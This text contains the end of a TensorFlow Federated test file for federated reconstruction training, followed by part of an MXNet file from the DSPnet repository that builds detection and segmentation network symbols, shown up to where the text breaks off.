reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.0), aggregation_factory=dp_mean_factory, ) state = trainer.initialize() outputs = [] states = [] for _ in range(2): state, output = trainer.next(state, train_data) outputs.append(output) states.append(state) # All weights and biases are initialized to 0, so initial logits are all 0 # and softmax probabilities are uniform over 10 classes. So negative log # likelihood is -ln(1/10). This is on expectation, so increase tolerance. self.assertAllClose(outputs[0]['loss'], tf.math.log(10.0), atol=1e-3) self.assertLess(outputs[1]['loss'], outputs[0]['loss']) self.assertNotAllClose(states[0].model.trainable, states[1].model.trainable) # Expect 6 reconstruction examples, 6 training examples. Only training # included in metrics. self.assertEqual(outputs[0]['num_examples'], 6.0) self.assertEqual(outputs[1]['num_examples'], 6.0) # Expect 4 reconstruction batches and 4 training batches. Only training # included in metrics. self.assertEqual(outputs[0]['num_batches'], 4.0) self.assertEqual(outputs[1]['num_batches'], 4.0) def test_custom_model_eval_reconstruction_multiple_epochs(self): client_data = create_emnist_client_data() train_data = [client_data(), client_data()] def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [ tff.learning.metrics.NumExamplesCounter(), tff.learning.metrics.NumBatchesCounter(), tf.keras.metrics.SparseCategoricalAccuracy() ] dataset_split_fn = reconstruction_utils.build_dataset_split_fn( recon_epochs_max=3, recon_epochs_constant=False, post_recon_epochs=4, post_recon_steps_max=3) trainer = training_process.build_federated_reconstruction_process( MnistModel, loss_fn=loss_fn, metrics_fn=metrics_fn, client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), evaluate_reconstruction=True, dataset_split_fn=dataset_split_fn) state = trainer.initialize() outputs = [] states = [] for _ in range(2): state, output = trainer.next(state, train_data) outputs.append(output) states.append(state) self.assertLess(outputs[1]['loss'], outputs[0]['loss']) self.assertNotAllClose(states[0].model.trainable, states[1].model.trainable) # Expect 6 reconstruction examples, 10 training examples. self.assertEqual(outputs[0]['num_examples'], 16.0) # Expect 12 reconstruction examples, 10 training examples. self.assertEqual(outputs[1]['num_examples'], 22.0) # Expect 4 reconstruction batches and 6 training batches. self.assertEqual(outputs[0]['num_batches'], 10.0) # Expect 8 reconstruction batches and 6 training batches. self.assertEqual(outputs[1]['num_batches'], 14.0) def test_custom_model_eval_reconstruction_split_multiple_epochs(self): client_data = create_emnist_client_data() # 3 batches per user, each with one example. Since data will be split for # each user, each user will have 2 unique recon examples, and 1 unique # post-recon example (even-indices are allocated to recon during splitting). train_data = [client_data(batch_size=1), client_data(batch_size=1)] def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [ tff.learning.metrics.NumExamplesCounter(), tff.learning.metrics.NumBatchesCounter(), tf.keras.metrics.SparseCategoricalAccuracy() ] dataset_split_fn = reconstruction_utils.build_dataset_split_fn( recon_epochs_max=3, split_dataset=True, post_recon_epochs=5) trainer = training_process.build_federated_reconstruction_process( MnistModel, loss_fn=loss_fn, metrics_fn=metrics_fn, client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), evaluate_reconstruction=True, dataset_split_fn=dataset_split_fn) state = trainer.initialize() outputs = [] states = [] for _ in range(2): state, output = trainer.next(state, train_data) outputs.append(output) states.append(state) self.assertLess(outputs[1]['loss'], outputs[0]['loss']) self.assertNotAllClose(states[0].model.trainable, states[1].model.trainable) # Expect 12 reconstruction examples, 10 training examples. self.assertEqual(outputs[0]['num_examples'], 22.0) self.assertEqual(outputs[1]['num_examples'], 22.0) # Expect 12 reconstruction batches and 10 training batches. self.assertEqual(outputs[0]['num_batches'], 22.0) self.assertEqual(outputs[1]['num_batches'], 22.0) def test_custom_model_eval_reconstruction_disable_post_recon(self): """Ensures we can disable post-recon on a client via custom `DatasetSplitFn`.""" client_data = create_emnist_client_data() train_data = [client_data(batch_size=3), client_data(batch_size=2)] def loss_fn(): return tf.keras.losses.SparseCategoricalCrossentropy() def metrics_fn(): return [ tff.learning.metrics.NumExamplesCounter(), tff.learning.metrics.NumBatchesCounter(), tf.keras.metrics.SparseCategoricalAccuracy() ] def dataset_split_fn(client_dataset, round_num): del round_num recon_dataset = client_dataset.repeat(2) # One user gets 1 batch with 1 example, the other user gets 0 batches. post_recon_dataset = client_dataset.skip(1) return recon_dataset, post_recon_dataset trainer = training_process.build_federated_reconstruction_process( MnistModel, loss_fn=loss_fn, metrics_fn=metrics_fn, client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), evaluate_reconstruction=True, jointly_train_variables=True, dataset_split_fn=dataset_split_fn) state = trainer.initialize() outputs = [] states = [] for _ in range(2): state, output = trainer.next(state, train_data) outputs.append(output) states.append(state) # One client should still have a delta that updates the global weights, so # there should be a change in the server state and loss should still # decrease. self.assertLess(outputs[1]['loss'], outputs[0]['loss']) self.assertNotAllClose(states[0].model.trainable, states[1].model.trainable) # Expect 12 reconstruction examples, 1 training examples. self.assertEqual(outputs[0]['num_examples'], 13.0) self.assertEqual(outputs[1]['num_examples'], 13.0) # Expect 6 reconstruction batches and 1 training batches. self.assertEqual(outputs[0]['num_batches'], 7.0) self.assertEqual(outputs[1]['num_batches'], 7.0) def test_get_model_weights(self): client_data = create_emnist_client_data() federated_data = [client_data()] it_process = training_process.build_federated_reconstruction_process( local_recon_model_fn, loss_fn=tf.keras.losses.SparseCategoricalCrossentropy, client_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001), reconstruction_optimizer_fn=functools.partial(tf.keras.optimizers.SGD, 0.001)) state = it_process.initialize() self.assertIsInstance( it_process.get_model_weights(state), tff.learning.ModelWeights) self.assertAllClose(state.model.trainable, it_process.get_model_weights(state).trainable) for _ in range(3): state, _ = it_process.next(state, federated_data) self.assertIsInstance( it_process.get_model_weights(state), tff.learning.ModelWeights) self.assertAllClose(state.model.trainable, it_process.get_model_weights(state).trainable) if __name__ == '__main__': tf.test.main()

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2224664a7c3b4e619986dec9d26540777519f5a9

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py

Python

symbol/multitask_symbol_builder.py

ChunGaoY/DSPnet

8fad61059d85ad0cd1f7790c37b5e0478dccb158

[ "MIT" ]

33

2018-04-18T06:52:16.000Z

2021-09-26T20:57:56.000Z

symbol/multitask_symbol_builder.py

ChunGaoY/DSPnet

8fad61059d85ad0cd1f7790c37b5e0478dccb158

[ "MIT" ]

4

2018-07-09T07:09:15.000Z

2020-04-12T12:43:36.000Z

symbol/multitask_symbol_builder.py

liangfu/dspnet

8fad61059d85ad0cd1f7790c37b5e0478dccb158

[ "MIT" ]

10

2018-04-19T08:17:01.000Z

2021-09-26T20:57:57.000Z

import mxnet as mx from common import multi_layer_feature, multibox_layer, multitask_layer from symbol.resnet import residual_unit eps = 2e-5 use_global_stats = False seg_classes = 19 def import_module(module_name): """Helper function to import module""" import sys, os import importlib sys.path.append(os.path.dirname(__file__)) return importlib.import_module(module_name) #------------------------------------------------------------------ # SINGLE TASK: DETECTION + DEPTH ESTIMATION #------------------------------------------------------------------ def get_det_symbol_train(network, num_classes, from_layers, num_filters, strides, pads, sizes, ratios, normalizations=-1, steps=[], min_filter=128, nms_thresh=0.5, force_suppress=False, nms_topk=400, **kwargs): """Build network symbol for training SSD Parameters ---------- network : str base network symbol name num_classes : int number of object classes not including background from_layers : list of str feature extraction layers, use '' for add extra layers For example: from_layers = ['relu4_3', 'fc7', '', '', '', ''] which means extract feature from relu4_3 and fc7, adding 4 extra layers on top of fc7 num_filters : list of int number of filters for extra layers, you can use -1 for extracted features, however, if normalization and scale is applied, the number of filter for that layer must be provided. For example: num_filters = [512, -1, 512, 256, 256, 256] strides : list of int strides for the 3x3 convolution appended, -1 can be used for extracted feature layers pads : list of int paddings for the 3x3 convolution, -1 can be used for extracted layers sizes : list or list of list [min_size, max_size] for all layers or [[], [], []...] for specific layers ratios : list or list of list [ratio1, ratio2...] for all layers or [[], [], ...] for specific layers normalizations : int or list of int use normalizations value for all layers or [...] for specific layers, -1 indicate no normalizations and scales steps : list specify steps for each MultiBoxPrior layer, leave empty, it will calculate according to layer dimensions min_filter : int minimum number of filters used in 1x1 convolution nms_thresh : float non-maximum suppression threshold force_suppress : boolean whether suppress different class objects nms_topk : int apply NMS to top K detections Returns ------- mx.Symbol """ label = mx.sym.Variable('label_det') body = import_module(network).get_symbol(num_classes, **kwargs) internals = body.get_internals() data = internals['data'] res3 = internals[from_layers[0]+"_output"] res4 = internals[from_layers[1]+"_output"] conv_feat = internals[from_layers[2]+"_output"] ### remove res3 from input layer of SSD from_layers=from_layers[1:] num_filters=num_filters[1:] strides=strides[1:] pads=pads[1:] sizes=sizes[1:] ratios=ratios[1:] layers = multi_layer_feature(body, from_layers, num_filters, strides, pads, min_filter=min_filter) loc_preds, cls_preds, anchor_boxes = multitask_layer(layers, \ num_classes, sizes=sizes, ratios=ratios, normalization=normalizations, \ num_channels=num_filters, clip=False, interm_layer=0, steps=steps) tmp = mx.contrib.symbol.MultiBoxTarget( *[anchor_boxes, label, cls_preds], overlap_threshold=.5, \ ignore_label=-1, negative_mining_ratio=3, minimum_negative_samples=0, \ negative_mining_thresh=.5, variances=(0.1, 0.1, 0.2, 0.2), name="multibox_target") loc_target = tmp[0] loc_target_mask = tmp[1] cls_target = tmp[2] cls_prob = mx.symbol.SoftmaxOutput(data=cls_preds, label=cls_target, \ ignore_label=-1, use_ignore=True, grad_scale=1., multi_output=True, \ normalization='valid', name="cls_prob") loc_loss_ = mx.symbol.smooth_l1(name="loc_loss_", \ data=loc_target_mask * (loc_preds - loc_target), scalar=1.0) loc_loss = mx.symbol.MakeLoss(loc_loss_, grad_scale=1., \ normalization='valid', name="loc_loss") # monitoring training status cls_label = mx.symbol.MakeLoss(data=cls_target, grad_scale=0, name="cls_label") det = mx.contrib.symbol.MultiBoxDetection(*[cls_prob, loc_preds, anchor_boxes], \ name="detection", nms_threshold=nms_thresh, force_suppress=force_suppress, variances=(0.1, 0.1, 0.2, 0.2), nms_topk=nms_topk) det = mx.symbol.MakeLoss(data=det, grad_scale=0, name="det_out") # group output out = mx.symbol.Group([cls_prob, loc_loss, cls_label, det]) return out def get_det_symbol(network, num_classes, from_layers, num_filters, sizes, ratios, strides, pads, normalizations=-1, steps=[], min_filter=128, nms_thresh=0.5, force_suppress=False, nms_topk=400, **kwargs): """Build network for testing SSD Parameters ---------- network : str base network symbol name num_classes : int number of object classes not including background from_layers : list of str feature extraction layers, use '' for add extra layers For example: from_layers = ['relu4_3', 'fc7', '', '', '', ''] which means extract feature from relu4_3 and fc7, adding 4 extra layers on top of fc7 num_filters : list of int number of filters for extra layers, you can use -1 for extracted features, however, if normalization and scale is applied, the number of filter for that layer must be provided. For example: num_filters = [512, -1, 512, 256, 256, 256] strides : list of int strides for the 3x3 convolution appended, -1 can be used for extracted feature layers pads : list of int paddings for the 3x3 convolution, -1 can be used for extracted layers sizes : list or list of list [min_size, max_size] for all layers or [[], [], []...] for specific layers ratios : list or list of list [ratio1, ratio2...] for all layers or [[], [], ...] for specific layers normalizations : int or list of int use normalizations value for all layers or [...] for specific layers, -1 indicate no normalizations and scales steps : list specify steps for each MultiBoxPrior layer, leave empty, it will calculate according to layer dimensions min_filter : int minimum number of filters used in 1x1 convolution nms_thresh : float non-maximum suppression threshold force_suppress : boolean whether suppress different class objects nms_topk : int apply NMS to top K detections Returns ------- mx.Symbol """ body = import_module(network).get_symbol(num_classes, **kwargs) internals = body.get_internals() data = internals['data'] res3 = internals[from_layers[0]+"_output"] res4 = internals[from_layers[1]+"_output"] conv_feat = internals[from_layers[2]+"_output"] ### remove res3 from input layer of SSD from_layers=from_layers[1:] num_filters=num_filters[1:] strides=strides[1:] pads=pads[1:] sizes=sizes[1:] ratios=ratios[1:] layers = multi_layer_feature(body, from_layers, num_filters, strides, pads, min_filter=min_filter) loc_preds, cls_preds, anchor_boxes = multitask_layer(layers, \ num_classes, sizes=sizes, ratios=ratios, normalization=normalizations, \ num_channels=num_filters, clip=False, interm_layer=0, steps=steps) cls_prob = mx.symbol.SoftmaxActivation(data=cls_preds, mode='channel', \ name='cls_prob') det = mx.contrib.symbol.MultiBoxDetection(*[cls_prob, loc_preds, anchor_boxes], \ name="detection", nms_threshold=nms_thresh, force_suppress=force_suppress, \ variances=(0.1, 0.1, 0.2, 0.2), nms_topk=nms_topk) # group output out = mx.symbol.Group([det]) return out #------------------------------------------------------------------ # SINGLE TASK: SEGMENTATION #------------------------------------------------------------------ def get_seg_symbol_train(network, num_classes, from_layers, num_filters, strides, pads, sizes, ratios, normalizations=-1, steps=[], min_filter=128, nms_thresh=0.5, force_suppress=False, nms_topk=400, **kwargs): """Build network symbol for training SSD Parameters ---------- network : str base network symbol name num_classes : int number of object classes not including background from_layers : list of str feature extraction layers, use '' for add extra layers For example: from_layers = ['relu4_3', 'fc7', '', '', '', ''] which means extract feature from relu4_3 and fc7, adding 4 extra layers on top of fc7 num_filters : list of int number of filters for extra layers, you can use -1 for extracted features, however, if normalization and scale is applied, the number of filter for that layer must be provided. For example: num_filters = [512, -1, 512, 256, 256, 256] strides : list of int strides for the 3x3 convolution appended, -1 can be used for extracted feature layers pads : list of int paddings for the 3x3 convolution, -1 can be used for extracted layers sizes : list or list of list [min_size, max_size] for all layers or [[], [], []...] for specific layers ratios : list or list of list [ratio1, ratio2...] for all layers or [[], [], ...] for specific layers normalizations : int or list of int use normalizations value for all layers or [...] for specific layers, -1 indicate no normalizations and scales steps : list specify steps for each MultiBoxPrior layer, leave empty, it will calculate according to layer dimensions min_filter : int minimum number of filters used in 1x1 convolution nms_thresh : float non-maximum suppression threshold force_suppress : boolean whether suppress different class objects nms_topk : int apply NMS to top K detections Returns ------- mx.Symbol """ # label = mx.sym.Variable('label_det') body = import_module(network).get_symbol(num_classes, **kwargs) internals = body.get_internals() data = internals['data'] res3 = internals[from_layers[0]+"_output"] res4 = internals[from_layers[1]+"_output"] conv_feat = internals[from_layers[2]+"_output"] # segmentation task (pyramid pooling module) res3_block = mx.sym.BlockGrad(data=res3, name="res3_block") res3_reduced = mx.sym.Convolution(data=res3_block, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=128, no_bias=True, workspace=1024, name="res3_reduced") res3_reduced_bn = mx.sym.BatchNorm(data=res3_reduced, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res3_reduced_bn') res3_reduced2 = mx.sym.Convolution(data=res3_reduced_bn, kernel=(3,3), stride=(1,1), pad=(1,1), \ num_filter=128, no_bias=True, workspace=1024, name="res3_reduced2") res3_reduced2_bn = mx.sym.BatchNorm(data=res3_reduced2, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res3_reduced2_bn') res4_block = mx.sym.BlockGrad(data=res4, name="res4_block") res4_reduced = mx.sym.Convolution(data=res4_block, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=256, no_bias=True, workspace=1024, name="res4_reduced") res4_reduced_bn = mx.sym.BatchNorm(data=res4_reduced, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res4_reduced_bn') res4_reduced2 = mx.sym.Convolution(data=res4_reduced_bn, kernel=(3,3), stride=(1,1), pad=(1,1), \ num_filter=256, no_bias=True, workspace=1024, name="res4_reduced2") res4_reduced2_bn = mx.sym.BatchNorm(data=res4_reduced2, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res4_reduced2_bn') res5_reduced = mx.symbol.Convolution(data=conv_feat, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=512, no_bias=True, workspace=1024, name="res5_reduced") res5_reduced_bn = mx.sym.BatchNorm(data=conv_feat, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res5_reduced_bn') score_pool1 = mx.sym.Pooling(res5_reduced_bn, global_pool=False, kernel=(1,1), stride=(1,1), pad=(0,0), pool_type='avg', name='score_pool1') score_pool2 = mx.sym.Pooling(res5_reduced_bn, global_pool=False, kernel=(2,2), stride=(2,2), pad=(0,0), pool_type='avg', name='score_pool2') score_pool4 = mx.sym.Pooling(res5_reduced_bn, global_pool=False, kernel=(4,4), stride=(4,4), pad=(0,0), pool_type='avg', name='score_pool4') score2_pool4 = mx.symbol.Convolution(data=score_pool4, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=128, no_bias=True, workspace=1024, name="score2_pool4") score2_pool4_bn = mx.sym.BatchNorm(data=score2_pool4, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score2_pool4_bn') score2_pool2 = mx.symbol.Convolution(data=score_pool2, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=256, no_bias=True, workspace=1024, name="score2_pool2") score2_pool2_bn = mx.sym.BatchNorm(data=score2_pool2, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score2_pool2_bn') score2_pool1 = mx.symbol.Convolution(data=score_pool1, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=512, no_bias=True, workspace=1024, name="score2_pool1") score2_pool1_bn = mx.sym.BatchNorm(data=score2_pool1, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score2_pool1_bn') affine_matrix = mx.sym.var("affine_matrix", shape=(1,6)) grid = mx.sym.GridGenerator(data=affine_matrix, transform_type='affine', target_shape=(64, 128)) score3_samp4 = mx.sym.BilinearSampler(data=score2_pool4_bn, grid=grid, name='score3_samp4') score3_samp2 = mx.sym.BilinearSampler(data=score2_pool2_bn, grid=grid, name='score3_samp2') score3_samp1 = mx.sym.BilinearSampler(data=score2_pool1_bn, grid=grid, name='score3_samp1') score3_sampy = mx.sym.BilinearSampler(data=res5_reduced_bn, grid=grid, name='score3_sampy') score3_samp0 = mx.sym.BilinearSampler(data=res4_reduced2_bn, grid=grid, name='score3_samp0') score3_sampx = mx.sym.BilinearSampler(data=res3_reduced2_bn, grid=grid, name='score3_sampx') score3_concat = mx.sym.concat(score3_samp4, score3_samp2, score3_samp1, score3_sampy, score3_samp0, score3_sampx, dim=1, name='score3_concat') score3_conv = mx.symbol.Convolution(data=score3_concat, kernel=(3,3), stride=(1,1), pad=(1,1), \ num_filter=seg_classes, no_bias=True, workspace=1024, name="score3_conv") score3_conv_bn = mx.sym.BatchNorm(data=score3_conv, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score3_conv_bn') score4_conv = mx.symbol.Deconvolution(data=score3_conv_bn, kernel=(4,4), stride=(2,2), pad=(1,1), \ num_filter=seg_classes, workspace=1024, name="score4_conv") fcnxs = mx.symbol.SoftmaxOutput(data=score4_conv, multi_output=True, grad_scale=4., \ use_ignore=True, ignore_label=255, name="seg_out") # group output out = mx.symbol.Group([fcnxs]) return out def get_seg_symbol(network, num_classes, from_layers, num_filters, sizes, ratios, strides, pads, normalizations=-1, steps=[], min_filter=128, nms_thresh=0.5, force_suppress=False, nms_topk=400, **kwargs): """Build network for testing SSD Parameters ---------- network : str base network symbol name num_classes : int number of object classes not including background from_layers : list of str feature extraction layers, use '' for add extra layers For example: from_layers = ['relu4_3', 'fc7', '', '', '', ''] which means extract feature from relu4_3 and fc7, adding 4 extra layers on top of fc7 num_filters : list of int number of filters for extra layers, you can use -1 for extracted features, however, if normalization and scale is applied, the number of filter for that layer must be provided. For example: num_filters = [512, -1, 512, 256, 256, 256] strides : list of int strides for the 3x3 convolution appended, -1 can be used for extracted feature layers pads : list of int paddings for the 3x3 convolution, -1 can be used for extracted layers sizes : list or list of list [min_size, max_size] for all layers or [[], [], []...] for specific layers ratios : list or list of list [ratio1, ratio2...] for all layers or [[], [], ...] for specific layers normalizations : int or list of int use normalizations value for all layers or [...] for specific layers, -1 indicate no normalizations and scales steps : list specify steps for each MultiBoxPrior layer, leave empty, it will calculate according to layer dimensions min_filter : int minimum number of filters used in 1x1 convolution nms_thresh : float non-maximum suppression threshold force_suppress : boolean whether suppress different class objects nms_topk : int apply NMS to top K detections Returns ------- mx.Symbol """ body = import_module(network).get_symbol(num_classes, **kwargs) internals = body.get_internals() data = internals['data'] res3 = internals[from_layers[0]+"_output"] res4 = internals[from_layers[1]+"_output"] conv_feat = internals[from_layers[2]+"_output"] # segmentation task (pyramid pooling module) res3_block = mx.sym.BlockGrad(data=res3, name="res3_block") res3_reduced = mx.sym.Convolution(data=res3_block, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=128, no_bias=True, workspace=1024, name="res3_reduced") res3_reduced_bn = mx.sym.BatchNorm(data=res3_reduced, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res3_reduced_bn') res3_reduced2 = mx.sym.Convolution(data=res3_reduced_bn, kernel=(3,3), stride=(1,1), pad=(1,1), \ num_filter=128, no_bias=True, workspace=1024, name="res3_reduced2") res3_reduced2_bn = mx.sym.BatchNorm(data=res3_reduced2, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res3_reduced2_bn') res4_block = mx.sym.BlockGrad(data=res4, name="res4_block") res4_reduced = mx.sym.Convolution(data=res4_block, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=256, no_bias=True, workspace=1024, name="res4_reduced") res4_reduced_bn = mx.sym.BatchNorm(data=res4_reduced, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res4_reduced_bn') res4_reduced2 = mx.sym.Convolution(data=res4_reduced_bn, kernel=(3,3), stride=(1,1), pad=(1,1), \ num_filter=256, no_bias=True, workspace=1024, name="res4_reduced2") res4_reduced2_bn = mx.sym.BatchNorm(data=res4_reduced2, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res4_reduced2_bn') res5_reduced = mx.symbol.Convolution(data=conv_feat, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=512, no_bias=True, workspace=1024, name="res5_reduced") res5_reduced_bn = mx.sym.BatchNorm(data=conv_feat, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res5_reduced_bn') score_pool1 = mx.sym.Pooling(res5_reduced_bn, global_pool=False, kernel=(1,1), stride=(1,1), pad=(0,0), pool_type='avg', name='score_pool1') score_pool2 = mx.sym.Pooling(res5_reduced_bn, global_pool=False, kernel=(2,2), stride=(2,2), pad=(0,0), pool_type='avg', name='score_pool2') score_pool4 = mx.sym.Pooling(res5_reduced_bn, global_pool=False, kernel=(4,4), stride=(4,4), pad=(0,0), pool_type='avg', name='score_pool4') score2_pool4 = mx.symbol.Convolution(data=score_pool4, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=128, no_bias=True, workspace=1024, name="score2_pool4") score2_pool4_bn = mx.sym.BatchNorm(data=score2_pool4, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score2_pool4_bn') score2_pool2 = mx.symbol.Convolution(data=score_pool2, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=256, no_bias=True, workspace=1024, name="score2_pool2") score2_pool2_bn = mx.sym.BatchNorm(data=score2_pool2, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score2_pool2_bn') score2_pool1 = mx.symbol.Convolution(data=score_pool1, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=512, no_bias=True, workspace=1024, name="score2_pool1") score2_pool1_bn = mx.sym.BatchNorm(data=score2_pool1, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score2_pool1_bn') affine_matrix = mx.sym.var("affine_matrix", shape=(1,6)) grid = mx.sym.GridGenerator(data=affine_matrix, transform_type='affine', target_shape=(64, 128)) score3_samp4 = mx.sym.BilinearSampler(data=score2_pool4_bn, grid=grid, name='score3_samp4') score3_samp2 = mx.sym.BilinearSampler(data=score2_pool2_bn, grid=grid, name='score3_samp2') score3_samp1 = mx.sym.BilinearSampler(data=score2_pool1_bn, grid=grid, name='score3_samp1') score3_sampy = mx.sym.BilinearSampler(data=res5_reduced_bn, grid=grid, name='score3_sampy') score3_samp0 = mx.sym.BilinearSampler(data=res4_reduced2_bn, grid=grid, name='score3_samp0') score3_sampx = mx.sym.BilinearSampler(data=res3_reduced2_bn, grid=grid, name='score3_sampx') score3_concat = mx.sym.concat(score3_samp4, score3_samp2, score3_samp1, score3_sampy, score3_samp0, score3_sampx, dim=1, name='score3_concat') score3_conv = mx.symbol.Convolution(data=score3_concat, kernel=(3,3), stride=(1,1), pad=(1,1), \ num_filter=seg_classes, no_bias=True, workspace=1024, name="score3_conv") score3_conv_bn = mx.sym.BatchNorm(data=score3_conv, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score3_conv_bn') score4_conv = mx.symbol.Deconvolution(data=score3_conv_bn, kernel=(4,4), stride=(2,2), pad=(1,1), \ num_filter=seg_classes, workspace=1024, name="score4_conv") fcnxs = mx.symbol.softmax(data=score4_conv, multi_output=True, name="seg_out") # group output out = mx.symbol.Group([fcnxs]) return out #------------------------------------------------------------------ # SINGLE TASK: DETECTION + SEGMENTATION + DEPTH ESTIMATION #------------------------------------------------------------------ def get_multi_symbol_train(network, num_classes, from_layers, num_filters, strides, pads, sizes, ratios, normalizations=-1, steps=[], min_filter=128, nms_thresh=0.5, force_suppress=False, nms_topk=400, **kwargs): """Build network symbol for training SSD Parameters ---------- network : str base network symbol name num_classes : int number of object classes not including background from_layers : list of str feature extraction layers, use '' for add extra layers For example: from_layers = ['relu4_3', 'fc7', '', '', '', ''] which means extract feature from relu4_3 and fc7, adding 4 extra layers on top of fc7 num_filters : list of int number of filters for extra layers, you can use -1 for extracted features, however, if normalization and scale is applied, the number of filter for that layer must be provided. For example: num_filters = [512, -1, 512, 256, 256, 256] strides : list of int strides for the 3x3 convolution appended, -1 can be used for extracted feature layers pads : list of int paddings for the 3x3 convolution, -1 can be used for extracted layers sizes : list or list of list [min_size, max_size] for all layers or [[], [], []...] for specific layers ratios : list or list of list [ratio1, ratio2...] for all layers or [[], [], ...] for specific layers normalizations : int or list of int use normalizations value for all layers or [...] for specific layers, -1 indicate no normalizations and scales steps : list specify steps for each MultiBoxPrior layer, leave empty, it will calculate according to layer dimensions min_filter : int minimum number of filters used in 1x1 convolution nms_thresh : float non-maximum suppression threshold force_suppress : boolean whether suppress different class objects nms_topk : int apply NMS to top K detections Returns ------- mx.Symbol """ label = mx.sym.Variable('label_det') body = import_module(network).get_symbol(num_classes, **kwargs) internals = body.get_internals() data = internals['data'] res3 = internals[from_layers[0]+"_output"] res4 = internals[from_layers[1]+"_output"] conv_feat = internals[from_layers[2]+"_output"] ### remove res3 from input layer of SSD from_layers=from_layers[1:] num_filters=num_filters[1:] strides=strides[1:] pads=pads[1:] sizes=sizes[1:] ratios=ratios[1:] layers = multi_layer_feature(body, from_layers, num_filters, strides, pads, min_filter=min_filter) loc_preds, cls_preds, anchor_boxes = multitask_layer(layers, \ num_classes, sizes=sizes, ratios=ratios, normalization=normalizations, \ num_channels=num_filters, clip=False, interm_layer=0, steps=steps) tmp = mx.contrib.symbol.MultiBoxTarget( *[anchor_boxes, label, cls_preds], overlap_threshold=.5, \ ignore_label=-1, negative_mining_ratio=3, minimum_negative_samples=0, \ negative_mining_thresh=.5, variances=(0.1, 0.1, 0.2, 0.2), name="multibox_target") loc_target = tmp[0] loc_target_mask = tmp[1] cls_target = tmp[2] cls_prob = mx.symbol.SoftmaxOutput(data=cls_preds, label=cls_target, \ ignore_label=-1, use_ignore=True, grad_scale=1., multi_output=True, \ normalization='valid', name="cls_prob") loc_loss_ = mx.symbol.smooth_l1(name="loc_loss_", \ data=loc_target_mask * (loc_preds - loc_target), scalar=1.0) loc_loss = mx.symbol.MakeLoss(loc_loss_, grad_scale=1., \ normalization='valid', name="loc_loss") # monitoring training status cls_label = mx.symbol.MakeLoss(data=cls_target, grad_scale=0, name="cls_label") det = mx.contrib.symbol.MultiBoxDetection(*[cls_prob, loc_preds, anchor_boxes], \ name="detection", nms_threshold=nms_thresh, force_suppress=force_suppress, variances=(0.1, 0.1, 0.2, 0.2), nms_topk=nms_topk) det = mx.symbol.MakeLoss(data=det, grad_scale=0, name="det_out") # segmentation task (pyramid pooling module) res3_block = mx.sym.BlockGrad(data=res3, name="res3_block") res3_reduced = mx.sym.Convolution(data=res3_block, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=128, no_bias=True, workspace=1024, name="res3_reduced") res3_reduced_bn = mx.sym.BatchNorm(data=res3_reduced, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res3_reduced_bn') res3_reduced2 = mx.sym.Convolution(data=res3_reduced_bn, kernel=(3,3), stride=(1,1), pad=(1,1), \ num_filter=128, no_bias=True, workspace=1024, name="res3_reduced2") res3_reduced2_bn = mx.sym.BatchNorm(data=res3_reduced2, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res3_reduced2_bn') res4_block = mx.sym.BlockGrad(data=res4, name="res4_block") res4_reduced = mx.sym.Convolution(data=res4_block, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=256, no_bias=True, workspace=1024, name="res4_reduced") res4_reduced_bn = mx.sym.BatchNorm(data=res4_reduced, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res4_reduced_bn') res4_reduced2 = mx.sym.Convolution(data=res4_reduced_bn, kernel=(3,3), stride=(1,1), pad=(1,1), \ num_filter=256, no_bias=True, workspace=1024, name="res4_reduced2") res4_reduced2_bn = mx.sym.BatchNorm(data=res4_reduced2, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res4_reduced2_bn') res5_reduced = mx.symbol.Convolution(data=conv_feat, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=512, no_bias=True, workspace=1024, name="res5_reduced") res5_reduced_bn = mx.sym.BatchNorm(data=conv_feat, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res5_reduced_bn') score_pool1 = mx.sym.Pooling(res5_reduced_bn, global_pool=False, kernel=(1,1), stride=(1,1), pad=(0,0), pool_type='avg', name='score_pool1') score_pool2 = 